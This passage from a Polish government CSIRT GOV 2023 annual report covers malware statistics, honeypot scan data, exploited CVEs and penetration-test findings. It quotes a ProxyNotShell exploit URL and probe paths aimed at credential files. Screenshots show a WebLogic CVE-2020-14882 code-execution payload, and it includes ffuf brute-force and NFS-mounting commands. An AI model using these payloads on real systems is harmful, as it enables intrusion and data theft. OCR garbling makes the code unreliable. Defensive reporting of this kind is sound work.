(np. do serwera poczty elektronicznej). Atakujacy tworzyli w tym celu fatszywe strony internetowe,
wygladajace bardzo podobnie do oryginalnych stron, miedzy innymi stron logowania do bankdw, serwiséw
e-mail czy portali spotecznosciowych. Ofiary ataku s3 zazwyczaj przekierowywane na fatszywe,
podstawione strony poprzez linki zawarte w phishingowych e-mailach, wiadomosciach tekstowych czy
innych formach komunikacji. Po wejsciu na fatszywa strone uzytkownicy byli proszeni o podanie swoich
poufnych informacji, jak nazwa uzytkownika, hasto, numer karty kredytowej itp.

Zagrozenie sklasyfikowane jako Formbook nalezy do rodziny oprogramowania ztoSliwego,
posiadajacej funkcjonalnosci umozliwiajgce przechwytywanie informacji o sekwencji klawiszy
naciskanych na klawiaturze przez uzytkownika (w tym m.in. wprowadzanych logindw oraz haset),
zapisywanie zrzutow ekranu, ekstrakcje zapisanych haset z przegladarek internetowych oraz pobieranie
i uruchamianie innych plikow z zewnetrznych zasobow internetowych. Dodatkowo oprogramowanie jest
specjalnie zaprojektowane do przechwytywania i kradziezy danych z formularzy internetowych. Obejmuje
to formularze logowania, dane osobowe, numery kart kredytowych i inne informacje wprowadzane przez
uzytkownika na stronach internetowych. FormBook moze dokonywac atakdéw typu Man-in-the-Browser,
co oznacza, ze trojan ten jest w stanie kontrolowa¢ lub manipulowac danymi przesytanymi migdzy
przegladarka internetowg a serwerem, co na przyktad umozliwia przestepcom zmienianie tresci stron
internetowych, na ktdrych znajduja sie ofiary. Oprogramowanie posiada pewng elastycznosc, co pozwala
cyberprzestgpcom dostosowywac jego funkcje do réznych celow ataku lub dostosowacd trojana

do konkretnej kampanii.




Klasyfikacja oprogramowania, bazujaca na analizie behawioralnej, wykazata nastepujacy podziat
najczestszych zachowan analizowanych plikéw lub zasobow internetowych w roku 2023:

L.p. WYKRYTE ZACHOWANIE LICZBA WYSTAPIEN
1 Evader 490
2 Phisher 213
3 Trojan, Spyware, Evader 61
4 Spyware, Evader 35
5 Trojan 29
6 Exploiter Trojan, Evader 23
7 Exploiter 16
8 Trojan, Spyware, Exploiter, Evader 10
9 Phisher, Evader 6
10 Ransomware, Trojan, Spyware, Evader 4

Tabela 1. Zachowania analizowanych plikow/zasobow internetowych
Zgodnie z powyzsza tabela, analizowane probki wykazywaty nastepujace cechy:

Evader - proba ominigcia zabezpieczen systemu operacyjnego, wykorzystanie funkcji
anti-debuggera, wykorzystanie zaciemnienia (obfuskacji) kodu;

Ransomware - identyfikacja ztosliwego oprogramowania szyfrujagcego dane uzytkownika,
blokujgcego dostep do systemu lub plikow, oraz zadajgcego okupu za ich odszyfrowanie lub
odblokowanie;

Phisher - naktanianie uzytkownika do wykonania okreslonego dziatania, udostgpnienia
poufnych informaciji, tj. hasta dostepowego, danych logowania czy danych kart ptatniczych;

Trojan - zmiana stacji roboczej w klienta sieci botnet, umozliwienie zdalnego dostepu do stacji
roboczej (RAT);

Spyware - kradziez danych wrazliwych, w tym m. in. danych z przegladarek internetowych,
danych logowania;

Exploiter - wykorzystanie podatnosci w oprogramowaniu lub systemie operacyjnym.

W ponizszej tabeli przedstawiono 10 najczesciej identyfikowanych regut dla analiz
przeprowadzonych w $rodowisku sandbox, ktdre wptynety na koricowa ocene badanego pliku lub zasobu
internetowego.
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WYKRYTA REGULA LICZBA IDENTYFIKACJI

Rozpoznanie pliku przez silniki antywirusowe 364
ldentyfikacja zaszyfrowanego pliku PDF oraz

zawierajgcego formularze 293
Identyfikacja zaszyfrowanych danych w dokumencie
279
(ochrona hastem)
Rozpoznanie domeny, adresu URL przez silniki 228
antywirusowe

Modyfikacja kontekstu watku w innym procesie

S 140
(threadinjection)
Préba kradziezy danych wrazliwych z przegladarki
: . . 118
(historia, hasta, ciasteczka)

Préba kradziezy danych uwierzytelniajgcych do
. . oy 13

skrzynki pocztowej (poprzez dostep do plikow)
Rozpoznanie oprogramowania ztosliwego na 92

podstawie regut YARA community

ldentyfikacja pobierania informacji wrazliwych z BIOS 89

(poprzez WMI, Win32_Bios, Win32_BaseBoard)
Identyfikacja zbierania informacji o karcie sieciowej 87

(WMI, Win32_NetworkAdapter)

Tabela 2. Najczesciej identyfikowane reguty

Ponizej przedstawiono 10 najczesciej wystepujacych w 2023 roku typow plikdw, sposrdd poddanych
analizie w systemach automatycznych:

L.p. TYP PLIKU LICZBA WYSTAPIEN
1 Adobe Portable Document Format 7808
2 Word Microsoft Office Open XML Format 532

document
3 Generic OLE2 / Multistream Compound File 324
4 Microsoft Word document 316
5 Excel Microsoft Office Open XML Format 257
document
6 E-Mail message (Var. 1) 246
7 HyperText Markup Language 130
8 Win32 Executable (generic) Net Framework 124
9 Generic XML (ASCII) 101
10 ZIP compressed archive 74

Tabela 3. Najczesciej wystepujgce typy plikow

Najwigkszg liczbe plikow poddanych analizie w systemach automatycznych stanowity pliki
w formacie PDF, Word, kontenery OLE2, dokumenty biurowe (w tym zawierajace makra, funkcje DDE),
pliki HTML, XML, aplikacje Win32, archiwa ZIP/7-Zip/GLZ.
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5.1. ARAKIS GOV - statystyka

System ARAKIS GOV to dedykowany, rozproszony system wczesnego ostrzegania o zagrozeniach
teleinformatycznych wystepujacych na styku sieci wewnetrznej z siecig Internet. Gtdwnym zadaniem
systemu jest wykrywanie i zautomatyzowane opisywanie zagrozen wystepujacych w sieciach
teleinformatycznych na podstawie agregacji, analizy i korelacji danych z réznych zrddet.

W 2023 roku w sieciach teleinformatycznych podmiotéw uczestniczacych w projekcie ARAKIS
GOV zanotowano tacznie 1501 466 173 przeptywow, co przetozyto sig na 6 246 216 wygenerowanych przez
system alarmow. W pordwnaniu z rokiem 2022, zauwazy¢ mozna spadek w ogdlnej liczhie przeptywow.
Ma to bezposredni zwigzek ze zmiang sposobu tworzenia alarméw, co przetozyto sig na zmniejszenie
liczby alarmow typu false positive.

Suma Przeptywow: 1 501 466 173

180000000
160000000
140000000
120000000
100000000

80000000
60000000
40000000
20000000

Wykres 14. Rozktad zarejestrowanych przeptywdw z podziatem na miesigce

Widoczny spadek w zanotowanych przeptywach w lipcu ma bezposredni zwigzek z prowadzonymi
w tym czasie pracami modernizacyjno-serwisowymi urzadzen serwerowych systemu ARAKIS GOV.

Wsrad zanotowanych alarmow:

e 553 826 alarmow miato priorytet pilny, tzn. wymagato natychmiastowej reakcji na zagrozenie

ze strony administratorow, niosto duze ryzyko przetamania zabezpieczen;

e 48125 alarmdw miato priorytet wysoki, tzn. wymagato wzmozonej uwagi w kontekscie zagrozenia
wskazanego w alarmie, niosto $rednie ryzyko przetamania zabezpieczen;

e 30 979 alarmow miato priorytet Sredni, tzn. byty to alarmy informujace o dobrze znanym
zagrozeniu, ktdre niosty mate ryzyko przetamania zabezpieczen;

y

80




e 5 613 286 alarmow miato priorytet niski, tzn. byty to alarmy czysto informacyjne dotyczace
aktualnej sytuacji na styku sieci wewnetrznej z siecig Internet.

Pilny, 8,87% Wysoki, 0,77%

./ Sredni, 0,50%

Niski, 89,86%

Wykres 15. Procentowy rozkfad alarmow systemu ARAKIS GOV ze wzgledu na priorytet

Kazdy z zanotowanych alarméw zawiera doktadne dane techniczne, pozwalajgce na jego
weryfikacje oraz jest szczegotowo klasyfikowany przez system. W ramach klasyfikacji kazdy alarm moze
zostac przypisany do jednego z pigciu podstawowych typdw:

e Typ 1- komunikacja do ztosliwych adresow;
e Typ 2 - skanowania;

e Typ 3 - wykryte znane ataki;

e Typ 4 - wykryte nieopisane ataki;

e Typ 5 - infekcje wewnetrzne.




4,85% 3,74%

1,33% 0,14%

Typ 1 Typ 2 Typ 3 Typ 4 Typ 5

Wykres 16. Procentowy podziat alarméw systemu ARAKIS GOV ze wzgledu na typ

W 2023 roku alarmy Systemu ARAKIS GOV Typu 1stanowity 4,85% ogétu zarejestrowanych alertow.
Wygenerowane alarmy wynikaty z prob nawigzywania komunikacji z adresami IP lub domenami uznanymi
za ztosliwe lub mogace stanowic zagrozenie.

Wsrad alarméw Typu 2 w 2023 roku najwiecej przeptywdw zostato zanotowanych w systemach
podmiotow skategoryzowanych jako Instytucje (42,37%), co wynika po czesci z ilosci elementdw systemu
ARAKIS GOV wdrozonych w poszczegdlnych podmiotach. Wygenerowane alarmy pozwalajg okreslic
kierunki zainteresowan osob badz grup przeprowadzajacych skanowania.

Stuzby . 5,37%
Pozostate . 5,50%
Ministerstwa - 11,53%
Operatorzy Infrastruktury Krytycznej _ 35,23%

Wykres 17. Procentowy podziat przeptywdw alarmow typu 2 w instytucjach.




Alarmy Typu 3 i 4 stanowity odpowiednio 1,33% oraz 0,14% ze wszystkich przeptywow. Wynikaja
z wygenerowania sygnatury IDS (Intrusion Detection System) w oparciu o cbserwowane komunikacje lub
dopasowania do sygnatury IDS niewidzianej w systemie od pewnego czasu. Ma to miejsce zardwno przy
wygenerowaniu nowej sygnatury IDS, jak rowniez przy aktualizacji uprzednio wygenerowanej sygnatury.

Alarmy Typu 5 to infekcje wewnetrzne identyfikowane na podstawie niepozadanej komunikacji
z elementami sieci objetymi systemem ARAKIS GOV.

Do najbardziej aktywnych krajow pod katem liczby generowanych przeptywow w 2022 roku
nalezaty USA (25% przeptywow) oraz Rosja (18% przeptywow).

Francja - 2%
Korea Potudniowa - 5%
Wielka Brytania [ R 5%
Kanada _ 5%
Niemcy _ 6%
chiny | NG s
Bugaria [T 13%
Niderlandy || |GGG 3%
Rosia (NN e
vso T s

Wykres 18. Rozktad Zrodet atakéw na sieci monitorowane przez system ARAKIS GOV pod katem liczby
generowanych przeptywow
Wartym zaznaczenia jest fakt, iz liczba przeptywow z poszczegolnych krajow nalezacych do grupy
TOP 10 stanowi az 82% wszystkich wygenerowanych przeptywow zanotowanych przez System ARAKIS
GOV w 2023 roku. Stanowi to wzrost wzgledem roku 2022 o 12 punktow procentowych. Dodatkowo,
w poréwnaniu do poprzedniego roku, w TOP 10 krajow znalazta sie Butgaria i Korea Potudniowa.

Biorac pod uwage specyfike sieci Internet (tzw. brak granic), infrastruktura teleinformatyczna
podmiotow generujgcych przeptywy w strone systemu ARAKIS GOV moze by¢ rozproszona oraz
zlokalizowana na terytorium dowolnych panstw na catym $wiecie. Zaprezentowana statystyka
odzwierciedla lokalizacje ztosliwej infrastruktury sieciowej w poszczegolnych krajach.

ey o
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5.2 ARAKIS GOV - charakterystyka wybranych zagrozen

W ponizszej tabeli zaprezentowano informacje o portach docelowych, na ktdre wygenerowano
najwieksza liczbe przeptywdw, majacych na celu identyfikacje istniejacych zasobdw teleinformatycznych
badz prdby ich eksploitacii.

RE LICZBA
Lp PORT PRZEPLYWOW e
1 22 118 262 328 SSH
2 23 55 160 731 Telnet
3 21 53 935 623 FTP
4 445 42 119172 SMB
5 80 17 152 716 HTTP
6 1900 13 436 610 SSDP
7 443 9 421976 HTTPS
8 123 8 475 934 NTP
9 3389 8 380 873 RDP
10 25 8 347 275 SMTP

Tabela 4. Zidentyfikowane w 2023 roku skanowania i proby eksploitacji ustug na podstawie danych
z systemu ARAKIS GOV
W roku 2023 najczesciej wykorzystywanym protokotem byto SSH, dziatajace na porcie 22 oraz
Telnet dziatajacy na porcie 23. Fakt ten pokazuje, ze gtdwnym celem osob/grup prowadzacych rekonesans
jest zidentyfikowanie i zdohycie zdalnego dostepu do podatnych maszyn znajdujacych sie w sieci Internet.
Mozna rowniez ponownie zaohserwowac bardzo duze zainteresowanie ustuga FTP, ktora w roku 2022

nie znalazta sie w obszarze zainteresowan oséb/grup prowadzacych rekonesans.
W 2023 roku zidentyfikowano tgcznie 9 667 575 alertéw reguty SNORT zwigzanych z wykrytym

ruchem wykorzystujagcym protokét SSH. Jest to znaczacy wzrost w pordwnaniu z rokiem poprzednim,
w ktérym obserwowany ruch sieciowy zostat dopasowany do tej reguty 5 489 178 razy.




Lp

1

2

10

Tabela 5. Najczesciej dopasowane reguty do ruchu sieciowego widzianego przez system ARAKIS GOV

Ponizej przedstawiono 20 najpopularniejszych nazw uzytkownika oraz haset stosowanych do prob
nieautoryzowanego taczenia sie do ustug w sieciach teleinformatycznych podmiotéw wdrozonych

LICZBA _
" PRZEPLYWOW

9 667 575
5 432 811

4 463 755

2533365

2193 666

1407 253

1399199

738 041

241200

238 148

do systemu ARAKIS GOV.

L.p. TOP 20 HASEE

00~ 01 BN WM =

0

10
1
12
13
14
15
16
17
18
19
20

REGUtA SNORT

ET SCAN Potential SSH Scan OUTBOUND

ET SCAN Suspicious inbound to MSSQL port 1433

ET SCAN SSH BruteForce Tool with fake PUTTY version

ET SCAN Suspicious inbound to mySQL port 3306

ET SCAN Sipvicious User-Agent Detected (friendly-scanner)

ET SCAN Sipvicious Scan

ET SCAN Suspicious inbound to PostgreSQL port 5432

ET SCAN Suspicious inbound to Oracle SQL port 1521

ET INFO Session Traversal Utilities for NAT (STUN Binding Request

On Non-Standard High Port)

ET INFO Session Traversal Utilities for NAT (STUN Binding

123456
123
password
1234
admin
12345678
1
12345
test
root
123456789
P@sswOrd
mm
123123
admin123
qgwerty
test123
abc123
lgaz@WSX
1234567

Request)

TOP 20 LOGINOW
root
admin
ubuntu
user
test
postgres
oracle
ftpuser
git
p
debian
guest
administrator
WWW
testuser
ftp
deploy
ubnt
userl
hadoop

Tabela 6. Top 20 loginow, haset wykorzystywanych w potgczeniach do ustug ARAKIS GOV
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Ponizejprzedstawiono 20 najpopularniejszych URL najczesciej wykorzystywanych przy rozpoznaniu
ustug http/s w sieciach teleinformatycznych podmiotdw uczestniczacych w projekcie ARAKIS GOV.

TOP 20 URL

/.env
/boaform/admin/formLogin
/.aws/credentials
/.aws/config
/aws/credentials
/robots.txt
/cgi-bin/ViewLog.asp
[test.php

/index.php

/phpinfo

/_profiler/phpinfo
/geoserver/web/
/credentials

/.git/config

/manager/html

/info.php
/?XDEBUG_SESSION_START=phpstorm
/sitemap.xml
/actuator/gateway/routes
/client/get_targets

Tabela 7. 20 najpopularniejszych URL wykorzystywanych najczesciej przy rozpoznaniu ustug http/s

W wyniku analizy danych agregowanych przez system ARAKIS GOV, Zespét CSIRT GOV odnotowat
takze liczne proby wykorzystania znanych podatno$ci. Ponizej przedstawiono wybrane z nich wraz
z przyktadowymi zapytaniami wysytanymi do HoneyPotow bedacych czescig Systemu ARAKIS GOV.

e Tenda HGY Router Command Injection Vulnerability (CVE-2022-30023)

0d Marca 2023 roku obserwowane byty ataki w celu przejecia i wtgczenia ich do sieci Mirai
Botnet wykorzystujace rozne podatnosci wystepujace w urzadzeniach loT (Internet of Things).
Atakujacy mieli w tym przypadku mozliwosc przejecia catkowitej kontroli nad skompromitowanymi
urzadzeniami, a nastepnie wykorzystania ich do przeprowadzania atakow DDoS. System ARAKIS
GOV wielokrotnie odnotowat proby potaczenia do URL:

/boaform/admin/formLogin
ktory jest stosowany w skryptach wykorzystujgcych podatno$é¢ CVE-2022-30023.

e ProxyNotShell (CVE-2022-40140 oraz CVE-2022-41082) podatnos¢ CVE-2022-41040 umozliwiajaca
spreparowanie zadan po stronie serwera (SSRF) oraz podatnos¢ CVE-2022-41082 umozliwiajaca




zdalne wykonanie kodu (RCE) byty wielokrotnie odnotowywane przez System ARAKIS GOV.
ProxyNotShell wymaga eksploitacji dwdoch podatnosci, ktére pozwalaja na uwierzytelnione
zdalne wykonanie kodu w wersjach Microsoft Exchange 2013, 2016 i 2019. Podatnosci te mogg
by¢ wykorzystane w celu przeprowadzenia ataku RCE z uwierzytelnionego uzytkownika poczty
o niskich uprawnieniach, co skutkuje uzyskaniem petnej kontroli nad serwerem Exchange.
Przyktadowy URL zarejestrowany przez System ARAKIS GOV

/autodiscover/autodiscover.json?a..foo.var/owa/?&Email=autodiscover/autodiscover.json?a..foo.
var&Protocol=XYZ&FooProtocol=%50owershell

MOVEit Transfer Vulnerability (CVE-2023-34362)

W maju 2023 r. grupa ransomware o nazwie Clop rozpoczeta wykorzystywanie
podatnosci zero-day w narzedziu do przesytania plikow MOVEit Transfer firmy
Progress Software. W wyniku szeroko zakrojonego ataku Clop wykradt dane
z organizacji rzadowych, publicznych i biznesowych na catym $wiecie. Powazna
podatnos¢ pozwalata na uzyskanie dostgpu administracyjnego, eksfiltracje plikow
i wykonane dowolnego kodu. Oprogramowanie MOVEit Transfer byto podatne na luke SQL injection,
ktora pozwalata nieuwierzytelnionemu atakujacemu na dostep do bazy danych MOVEit Transfer
Structured Query Language (SQL), a tym samym umozliwiata wykonywanie zapytan i polecen
w relacyjnej bazie danych. Podatno$¢ umozliwiata atakujgcemu manipulowanie jednym
z tych zapytan w celu wykorzystania systemu do pobierania danych lub wprowadzania zmian.
Artefaktem sugerujgcym probe wykorzystania przedmiotowej podatnosci byt nowoutworzony plik
human2.aspx. System ARAKIS GOV wielokrotnie odnotowat proby odwotania do przedmiotowego
pliku poprzez URL:

/human2.aspx
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6..  Ocena bezpieczenstwa - podsumowanie

Jednym z ustawowych zadan natozonych na Zespdt CSIRT GOV jest ocena bezpieczenstwa
systemow teleinformatycznych instytucji administracji rzadowej oraz infrastruktury krytycznej. W 2023
roku, zgodnie z planem przyjetym na ten rok, przeprowadzone zostaty oceny w 15 instytucjach, w ktdrych
oceniono tacznie 119 segmentow sieci/systemow teleinformatycznych oraz 69 domen/subdomen i stron
WWWe.

W ramach wykonanych ocen bezpieczenstwa Zespot CSIRT GOV przeprowadzit szereg testow
majacych na celu identyfikacje istotnych podatnosci wptywajacych na bezpieczenstwo infrastruktury
teleinformatycznej ocenianych podmiotow. Do rzeczonych testow nalezato pasywne, potpasywne oraz
aktywne zbieranie informacji, identyfikacja podatnosci architektury systemow i ustug sieciowych,
wykorzystanie podatnosci oraz analiza wptywu wykorzystania czynnikow inzynierii spoteczne;.

W wyniku przeprowadzonych ocen bezpieczenstwa Zespot CSIRT GOV dokonat identyfikacji
szeregu podatnosci: od stopnia niskiego, az do btedéw nalezacych do kategorii krytycznych. Ponizszy
wykres przedstawia zestawienie zidentyfikowanych podatnosci, ktdre zostaty opisane w przygotowanych
raportach z przeprowadzonych ocen bezpieczenstwa przestanych do instytucji, ktorych systemy podlegaty
ocenie.

Niskie, 4% Krytyczne, 4%

‘. Wysokie, 13%

Srednie, 79%

Wykres 19. Podziat zidentyfikowanych podatnosci wedfug kryterium wazno$ci

5 Podstawa prawna:
Art. 32a ustawy z dnia 24 maja 2002 r. o Agencji Bezpieczenstwa Wewnetrznego oraz Agencji Wywiadu

Rozporzadzenie Prezesa Rady Ministréw z dnia 19 lipca 2016 r. w sprawie przeprowadzania oceny bezpieczernstwa zwigzanej z zapobieganiem
zdarzeniom o charakterze terrorystycznym

Decyzja nr 50 Szefa Agencji Bezpieczeristwa Wewnetrznego z dnia 29 wrzesnia 2022 r. w sprawie przeprowadzania przez Agencje Bezpieczen-
stwa Wewngtrznego ocen bezpieczenstwa systemdw teleinformatycznych na 2023 r.




oraz wysokie. WSrdd tej grupy znalazty sie m.in. nastepujace:

Najwazniejsza grupe podatnosci stanowity podatnosci identyfikowane jako zagrozenia krytyczne

Niezaktualizowane i niewspierane wersje oprogramowania wystepujace w szeregu systemow
oraz ustug wykorzystywanych przez podmioty, dotyczace przede wszystkim:

a) Oracle WebLogic Server

b) Oracle Database

c) Microsoft SQL Server

d) Microsoft Internet Information Services (IIS)
e) Microsoft .NET Framework

f) Microsoft Windows 10

g) Microsoft Windows Server 2012/2012 R2
h) Microsoft Exchange Server

i) HPE Intelligent Management Center (iMC) PLAT
j) VMWare ESX/ESXi

k) Server ApacheTomcat

l) Server Apache

m) Dell EMC iDRAC8/iDRACY

n) ManageEngineServiceDesk Plus

0) HP iL03/iL04

p) Joomla

q) OpenSSL

r) Nginx

s) Kibana

t) Kubernetes

u) MikroTikRouter0S

v) CKEditor




e Niewspierane wersje oprogramowania
a) Microsoft Windows Server 2003
b) Microsoft Windows Server 2008 R2

)
c) Microsoft Windows 7
d) Microsoft Silverlight
e) VMWareESXi 6.5
f) Apereo CAS
e Ustugi/ protokoty podatne na ataki
a) Network File System (NFS)
b) Simple Mail Transfer Protocol (SMTP)
c) OpenSSH
d) OpenSSL
e) Server VNC
f) Network Time Protocol (NTP)
g) Inteligent Platform Management Interface (IPMI)
h) Network Level Authentication (NLA)
i) Simple Network Management Protocol (SNMP)
j) Microsoft Server Message Block 1.0 (SMBv1)
k) Remote Desktop Protocol (RDP)
e Dostep anonimowy, bez wymaganego uwierzytelnienia lub na postawie domyslnych haset:
a) Postgres SQL
b) Dell PowerEdge M1000e - Chassis Management Controller
¢) phpMyAdmin
d) HPE MR Storage Administrator
e) Apache Axis2
f) Sentinel Admin Control Center

g) Intelligent Platform Managment Interface (IPMI v2.0)

h) Panel administracyjny Konica Minolta

y
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6.2. Ocena bezpieczenstwa - przyktadowe wykryte podatnosci
1. Podatnosé RCE w ustudze Oracle WebLogic Server

W ustudze Oracle WebLogic Server komponentu Oracle Fusion Middleware Console zidentyfikowana
zostata podatnos¢ mogaca skutkowac zdalnym wykonaniem kodu.

ORACLE Weblogic Server Administration Console 12¢

Welcome

Log in to work with the WebLogic Server domain

Rysunek 54. Panel logowania do konsoli WebLogic Server

Rysunek 55. Ujawnienie podatnosci CVE-2020-14882
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rowniez wykonanie polecenia po stronie serwera - przyktady ponize;.

Podatno$c¢ opisana jako CVE-2020-14882 umozliwia pominiecie mechanizmu autoryzacji, jak

Bup Project Intruder  Repeater Window Help Turbolntruder
Dashbosd  Taget  Pom  skuder  Repester | Sequencer  Decoder  Compaer  logger  Diensions  Leam
G Tar
==
Request Response a
Pretty  Raw  Hex 8 v = Pretty  Raw  Hex  Render S ® =
1 POST
eamsotercsasaensiaircomsote porta | BEeLom WebLogk Sarver Adnistaton Coeoe 125 P e
1 HTTPILL [FWebagic Server Administraton Console Home o Preterences [P5tart Recording [}
Change Cente:
2Host: 10.201.33.51:7001 ! 1o e i | —
3 |Upgrade- Insecure-Requests: 1 View changes and restarts Weicome, | Connected 1o idm_domain

4 User-Agent: Mozilla/5.® (Windows NT 10.9;
Win64; x64) AppleebKit/537.36 (KHTHL,
like Gecko) Chrome/102.9.5359.125
Safari/s37.36

5 Accept:
text/htal, application/xhtalexal, spplicati

Click the Lock & £ busion to modiy, add or
delele Rerms n thes domain.

Home

Home Page

Helptul Tools General Information

9, image/avif, image/webp, inage/ Configure applications = Common Administration Task Descripions.
FEE S T o e o
6 Accept-Encoding: grip, deflate | « Configu 5 Support
7 Accept-Language | Recent Task Status
PL-PL,pLiq=8.9,en-US;q=0. 8, en; q=0.7 et e commeis prefammses
2WjLeB-gKX115_zrSAw]- 55_yQUGuUDOFvy5SBeCs ey
6-6beIVG)4x| 2061418553
A i a— . e,
» « Domain « Resource Group Templates. « WIC Servers
1 » Joit Connection Pocls
Rysunek 56. Dostep do konsoli WebLogic Server jako uzytkownik ,idm_domain”
. ”’ —
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn
T =
ERG o
Request Response
Pretty  Raw  Hex @ v = | ety Raw  Hex  Render
1 POST .portal HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 11 2 |Connection: close
3 Accept-Charset: iso-8859-1,utf-2,q=0.9,%,q=0.1 3 Date: Fri, 18 Mar 2023 12:41:56 GMT
4 Accept-Language: en 4 Content-Type: text/html; charset=UTF-2
5 Content-Type: application/x-www-form-urlencoded 5 |X-ORACLE-DMS-ECID: 4bfdddd7-a@9f-422e-20e2-9192529749ee-801b1ed3
6 Connection: Close 6 |X-ORACLE-DMS-RID: @
7 Content-Length: 1189 7 |Set-Cookie: ADMINCONSOL List-iEmC) JCWZ5-9_k!
8 User-Agent: Mozilla/4.@ (compatible; MSIE 8.8; Windows NT 5.1; |path=/console/; HttpOnly
Trident/4.9) & Content-Length: 141
9 Pragma: no-cache 9
10 Accept: image/gif, image/x-xbitmap, ge/jpeg, image/pjpeg, 10 uid=54321(oracle) gid=54321(pinstall)
image/png, */* group ( tall), ), per),sd ) 1.54326(kndba), 54330(racdba)
11 11
12 |_nfpb=trues_pagelabel=&handle=

com. tangosol. coherence mvel2. sh.ShellSession(weblogic.work.Ex
bl K

)

Thread. currentThread();

13 weblogic.work.WorkAdapter adapter =
executeThread. getCurrentork( ).

14 java.lang.reflect.Field field =
adapter.getClass().getDeclaredField("connectionHandler”);

15 field.setAccessible(true);

16 Object obj = field.get{adapter);

17 weblogic.serviet. internal ServietRequestimpl req =
(meblogic.servlet.internal.ServletRequestInpl)

obj.getClass() 9 ) iH

18 String(] cmds =
Systes.g perty("os.name” ) toLowerCase( ). contains( windon" )
? new Stringl]{"cnd.exe", "/c*, “ipconfig"} : new
String[1{"/bin/sh*, *.c*, “id"};

Rysunek 57. Wykonanie ShellCode po stronie WebLogic Server




2. Wykonanie ataku typu DoS na ustudze ERP ENOVA365

Oome to the enoVasps encva

Rysunek 58. Panel logowania do ustugi ERP ENOVA365

Ponizej przedstawiono przyktad ataku na ustuge ERP, skutkujagcego odmowg dostepu. Pierwszym
krokiem byto wykonanie ataku stownikowego na modut logowania.

ffuf -c -X $POST \\n  -H S'Host: 172.25.0.25' -H S'Content-Length: 219" -H $'Sec-Ch-Ua: , -H $'Content-
-Type: application/json’ -H $'X-Csrf-Token: CfDJ8DTd_QViplBMKOYn8YHHtmdztTe0jglRwvvA9OXRFqPg450sLpVLSr-
kNv45WLKyISwZczI-eQDVxIHG8WObgAHmDfVOCu-SDd-ROEzHrFIDMBMx4wUFuLW9GFaQRXU-Q39LiSxH4gjugEdB-
2-RYJOWg' -H $'Sec-Ch-Ua-Mobile: ?0’ -H S'User-Agent: Mozilla/5.0 (Windows NT10.0; Winb4; x64) AppleWebKit/537.36
(KHTML, likeGecko) Chrome/114.0.5735.91 Safari/537.36' -H $'Sec-Ch-Ua-Platform: \"\" -H S'Accept: */* -H S'Origin:
https://172.25.0.25' -H $'Sec-Fetch-Site: same-origin’ -H $'Sec-Fetch-Mode: cors’ -H $'Sec-Fetch-Dest: empty’ -H
S'Referer: https://172.25.0.25/Login/' -H $’Accept-Encoding: gzip, deflate’ -H $'’Accept-Language: en-US,en;q=0.9'
\\n -b  $'’X-CSRF-TOKEN=CfDJ8DTd_QViplBMk0Yn8YHHtmcuNMANDI16pGCy91LFIDVN6VzKfUS06EK-4CIFT-
Msdc-biKPgch4FqclHmTRe4Zj7L-wEBI88eG0vlJeg8D_CHEYba-GgmW3VeNyjcUCZvs15-6Gfz4shQRbOmCFH12kc;
theme=BaseStandard; testMode=false; deviceType=BrowserExp’ \\n --data-binary $'{\'deviceType\":\"Prow-
serExp\"\"db\"\"FUZZ\" \"guid\":\"8271776e-9a25-46cf-8c9b-5859alle32ch\"\"uiculture\":\"pl-PL\" \"screen-
Width\":1920,\"screenHeight\":1005,\"contentWidth\":1920,\"contentHeight\":1005,\x0d\x0a\x09\"foo\":\"bar\",\x0d\
x0a\"isLogon\":true\x0d\x0a} \\n  -u ,https://172.25.0.25/LoginOperator’ -w ../repo/Rekonesans/dictionary/s_fuzz_

web.txt

Rysunek 59. Proba przeprowadzenia na ustuge ataku stownikowego z wykorzystaniem ffuf
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z parametrow zadania (ang. request).

TERMINAL

:: Header : Sec-Fetch-Dest: empty
:: Header : Content-Type: application/json
:: Header : Sec-Fetch-Mode: cors

Nastepnie podjeto probe podmiany zapytania kierowanego do serwera aplikacji i zmiang jednego

.. Data : {"deviceType":"ProwserExp","db":"FUZZ","quid":"8271776e-9a25-46cf-8c9%b

*"foo": "bar”,
"isLogon":true
}
:: Follow redirects : false
:: Calibration . false
:: Timeout . 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500

:: Progress: [16@/5575] :: Job [1/1] :: 2 req/sec :: Duration: [@:@1:16] :: Erroxs:

Rysunek 60. Zmiana jednego z parametréw w zapytaniu przesytanym do serwera

120 ::|]

Moc obliczeniowa jednego laptopa i niewielka liczba wystanych zapytan wystarczyta, aby

przeprowadzic¢ skuteczny atak typu DoS na ustuge ERP oraz przerwac prace dla kilkuset uzytkownikow

systemu.

3. Anonimowe zamontowanie zasobow sieciowych

W ramach przeprowadzonych testow ujawniono mozliwos¢ zamontowania w sposéb anonimowy

udostepnionych zasobow sieciowych w ustudze NFS.

nmap -Pn -sTV --open --script=nfs-showmount.nse,nfs-statfs.nse -p2049 10.201.33.52
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:55 CET

Nmap scan report for 10.201.33.52

Host is up (0.0011s latency).

PORT  STATE SERVICE VERSION

2049/tcpopen nfs  3-4 (RPC #100003)

Nmap done: 1P address (1 host up) scanned in 6.44 seconds

Rysunek 61. Ujawnienie wystepowania ustugi NFS
sudoshowmount -e 10.201.33.52
Export list for 10.201.33.52:

INFS *

Rysunek 62. Wykrycie zasobu wraz z weryfikacjq mozliwo$ci jego podmontowania
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Rysunek 63. Zamontowanie zasobu wraz z wy$wietleniem jego zawartoSci
4. Podatnos¢ w oprogramowaniu kamer Hikvision

Zidentyfikowana zostata podatno$¢ w oprogramowaniu zarzadzajgcym kamerami Hikvision,
umozliwiajgca nieuprawnionej osohie w sposoh anonimowy zwigkszenie swoich uprawnien w systemie

i uzyskanie dostepu do wrazliwych informacii.
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Rysunek 64. Poprzez wykrytq podatno$c bezpieczeristwa ma miejsce pozyskanie loginu i hasta

5. Niepoprawne dziatanie ustugi SMTP

Btednie dziatajgca ustuga SMTP umozliwiata podszycie sie pod inng osobe, jak rowniez wystanie
W jej imieniu wiadomosci email.

Rysunek 65. Wykorzystanie btednie dziatajacej ustugi SMTP
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6. Podatnosc¢ w ustudze IPMI

Ustuga The Intelligent Platform Management Interface uruchomiona na porcie 623/udp,
wykorzystywana przez administratoréw do zarzadzania i monitorowania systemami posiadata

podatnos¢ umozliwiajaca osobie nieuprawnionej na pozyskanie danych, w tym loginu i hasta.

Rysunek 66. Weryfikacja dziatajacej ustugi IPMI

